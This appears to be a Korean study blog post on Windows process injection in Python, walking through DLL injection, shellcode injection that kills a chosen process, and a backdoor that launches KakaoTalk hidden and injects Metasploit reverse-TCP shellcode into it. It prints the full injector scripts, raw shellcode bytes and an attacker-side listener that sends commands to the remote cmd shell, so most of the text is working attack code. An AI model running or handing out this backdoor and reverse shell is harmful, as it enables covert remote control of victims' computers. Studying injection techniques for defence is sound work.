코드 인젝션 활용 본문
DLL 인젝션 기본예제
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | import sys from ctypes import * PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VIRTUAL_MEM = (0x1000 | 0x2000) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" %pid sys.exit(0) arg_addr = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_addr, dll_path, dll_len, byref(written)) h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_addr, 0, byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) print "[*] Remote thread with ID 0x%08x created." %thread_id.value | cs |
명령행 인자로 process id, dll 경로를 입력 받고 pid에 해당하는 프로세스의 핸들을 얻은 다음 dll 경로를
길이만큼 메모리 할당 후 씀. 프로세스 핸들, LoadLibraryA()의 주소(쓰레드 함수 주소), dll 경로가 쓰여진
메모리의 주소(함수 파라미터), thread_id를 인자로 CreateRemoteThread()를 호출하여 대상 프로세스에
스레드를 실행시킴
코드 인젝션 기본예제
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | import sys from ctypes import * PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VIRTUAL_MEM = (0x1000 | 0x2000) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print "USAGE: python codeinjector.py <PID to Inject> <PID to Kill>" sys.exit(0) shellcode = \ "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" \ "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" \ "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" \ "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" \ "\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" \ "\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" \ "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" \ "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" \ "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" \ "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" \ "\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" \ "\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" \ "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" \ "\xff\xd5\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49" \ "\x44\x20\x41\x41\x41\x41\x00" padding = 4- (len(pid_to_kill)) replace_value = pid_to_kill + ("\x00" * padding) replace_string = "\x41" * 4 shellcode = shellcode.replace(replace_string, replace_value) code_size = len(shellcode) h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" %pid sys.exit(0) arg_addr = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_addr, shellcode, code_size, byref(written)) thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, arg_addr, None, 0, byref(thread_id)): print "[*] Failed to inject shellcode. Exiting." sys.exit(0) print "[*] Remote thread created with a thread ID of: 0x%08x" %thread_id.value print "[*] Process %s should not be running anymore!" %pid_to_kill | cs |
인젝션 시킬 프로세스의 id(대상 pid)와 종료시키고 싶은 프로세스 id(죽일 pid)를 명령행 인자로 받고
셸코드의 pid부분을 죽일 pid로 패딩값과 함께 바꾸고 대상 pid에 해당하는 프로세스의 핸들을 얻은 다음
셸코드 길이만큼 메모리를 할당 후 씀.프로세스 핸들, 셸코드가 쓰여진 메모리의 주소(쓰레드 함수 주소),
thread_id를 인자로 CreateRemoteThread()를 호출하여 대상 프로세스에게 스레드를 실행시킴
이러한 인젝션을 이용하여 백도어를 만들어보면?
먼저 메타스플로잇으로 필요한 reverse tcp 셸코드를 생성
생성한 셸코드를 카카오톡에 코드 인젝션시켜 공격자에게로 reverse tcp 연결 및 cmd shell 실행
inject()에 세번째 인자로 parameter = 0이 아니면 DLL 인젝션도 활용할 수 있음. ex) inject(pid, "dll 경로", 1)
백도어 프로세스를 종료시키는 셸코드는 인코딩하면 pid부분을 알 도리가 없는 거 같은데 procexp로
확인해보니 따로 종료되는 것도 없는 거 같아서 주석처리..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | import sys from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VIRTUAL_MEM = (0x1000 | 0x2000) path_to_exe = "D:\Program Files (x86)\Kakao\KakaoTalk\KakaoTalk.exe" startupInfo = STARTUPINFO() processInfo = PROCESS_INFORMATION() creation_flags = CREATE_NEW_CONSOLE startupInfo.dwFlags = 0x1 startupInfo.wShowWindow = 0x0 startupInfo.cb = sizeof(startupInfo) kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupInfo), byref(processInfo)) pid = processInfo.dwProcessId def inject(pid, data, parameter=0): h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" %pid sys.exit(0) written = c_int(0) arg_addr = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_READWRITE) kernel32.WriteProcessMemory(h_process, arg_addr, data, len(data), byref(written)) thread_id = c_ulong(0) if not parameter: start_addr = arg_addr else: h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") start_addr = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") parameter = arg_addr if not kernel32.CreateRemoteThread(h_process, None, 0, start_addr, parameter, 0, byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) print "[*] Injection Completed!" return True connect_back_shellcode = \ "\xbd\xed\x90\xc9\x4e\xd9\xe5\xd9\x74\x24\xf4\x5f\x2b\xc9" \ "\xb1\x52\x31\x6f\x12\x83\xef\xfc\x03\x82\x9e\x2b\xbb\xa0" \ "\x77\x29\x44\x58\x88\x4e\xcc\xbd\xb9\x4e\xaa\xb6\xea\x7e" \ "\xb8\x9a\x06\xf4\xec\x0e\x9c\x78\x39\x21\x15\x36\x1f\x0c" \ "\xa6\x6b\x63\x0f\x24\x76\xb0\xef\x15\xb9\xc5\xee\x52\xa4" \ "\x24\xa2\x0b\xa2\x9b\x52\x3f\xfe\x27\xd9\x73\xee\x2f\x3e" \ "\xc3\x11\x01\x91\x5f\x48\x81\x10\xb3\xe0\x88\x0a\xd0\xcd" \ "\x43\xa1\x22\xb9\x55\x63\x7b\x42\xf9\x4a\xb3\xb1\x03\x8b" \ "\x74\x2a\x76\xe5\x86\xd7\x81\x32\xf4\x03\x07\xa0\x5e\xc7" \ "\xbf\x0c\x5e\x04\x59\xc7\x6c\xe1\x2d\x8f\x70\xf4\xe2\xa4" \ "\x8d\x7d\x05\x6a\x04\xc5\x22\xae\x4c\x9d\x4b\xf7\x28\x70" \ "\x73\xe7\x92\x2d\xd1\x6c\x3e\x39\x68\x2f\x57\x8e\x41\xcf" \ "\xa7\x98\xd2\xbc\x95\x07\x49\x2a\x96\xc0\x57\xad\xd9\xfa" \ "\x20\x21\x24\x05\x51\x68\xe3\x51\x01\x02\xc2\xd9\xca\xd2" \ "\xeb\x0f\x5c\x82\x43\xe0\x1d\x72\x24\x50\xf6\x98\xab\x8f" \ "\xe6\xa3\x61\xb8\x8d\x5e\xe2\xbe\xf5\x3c\x16\x28\xf4\xbc" \ "\xc7\xf5\x71\x5a\x8d\x15\xd4\xf5\x3a\x8f\x7d\x8d\xdb\x50" \ "\xa8\xe8\xdc\xdb\x5f\x0d\x92\x2b\x15\x1d\x43\xdc\x60\x7f" \ "\xc2\xe3\x5e\x17\x88\x76\x05\xe7\xc7\x6a\x92\xb0\x80\x5d" \ "\xeb\x54\x3d\xc7\x45\x4a\xbc\x91\xae\xce\x1b\x62\x30\xcf" \ "\xee\xde\x16\xdf\x36\xde\x12\x8b\xe6\x89\xcc\x65\x41\x60" \ "\xbf\xdf\x1b\xdf\x69\xb7\xda\x13\xaa\xc1\xe2\x79\x5c\x2d" \ "\x52\xd4\x19\x52\x5b\xb0\xad\x2b\x81\x20\x51\xe6\x01\x50" \ "\x18\xaa\x20\xf9\xc5\x3f\x71\x64\xf6\xea\xb6\x91\x75\x1e" \ "\x47\x66\x65\x6b\x42\x22\x21\x80\x3e\x3b\xc4\xa6\xed\x3c" \ "\xcd" inject(pid, connect_back_shellcode) ''' our_pid = str( kernel32.GetCurrentProcessId()) process_killer_shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - (len( our_pid )) replace_value = our_pid + ("\x00" * padding) replace_string= "\x41" * 4 process_killer_shellcode = process_killer_shellcode.replace(replace_string, replace_value) # Pop the process killing shellcode in inject(our_pid, process_killer_shellcode)''' | cs |
공격자는 희생자가 백도어를 실행시켜 접속할때까지 기다리다가 연결이 수립되면 명령어를 희생자에게
전송하고 결과를 수신하여 출력
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | import socket import sys HOST = 'IP Address' PORT = 4444 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((HOST, PORT)) server.listen(5) print "[*] Server bount to %s: %d" %(HOST, PORT) connected = False while 1: if not connected: (client, address) = server.accept() connected = True print "[*] Accepted Shell Connection" buffer = "" while 1: try: recv_buffer = client.recv(8096) print "[*] Received: %s" %recv_buffer break except: break command = raw_input("Enter Command>") client.sendall(command + "\r\n\r\n") print "[*] Sent => %s" %command |
실행결과
공격자 서버 실행중인 상태에서 백도어 실행하면 카카오톡이 실행되고 셸코드가 코드인젝션 되어 공격자에게
reverse tcp 연결
명령어 입력 및 결과수신 (엔터를 한번 더 쳐야 결과를 출력해서 좀 불편ㅎㅎ)
카카오톡 프로세스 트리에 cmd가 붙어있는 것을 확인할 수 있음
'Study > Python' 카테고리의 다른 글
Array Enxtended Slices (0) | 2017.07.18 |
---|---|
윈도우 DEP 우회 (0) | 2017.07.03 |
PyDbg 접근 위반 핸들 (0) | 2017.07.03 |
윈도우 디버거 구현 (0) | 2017.07.03 |
소켓 랜덤채팅 (0) | 2017.07.03 |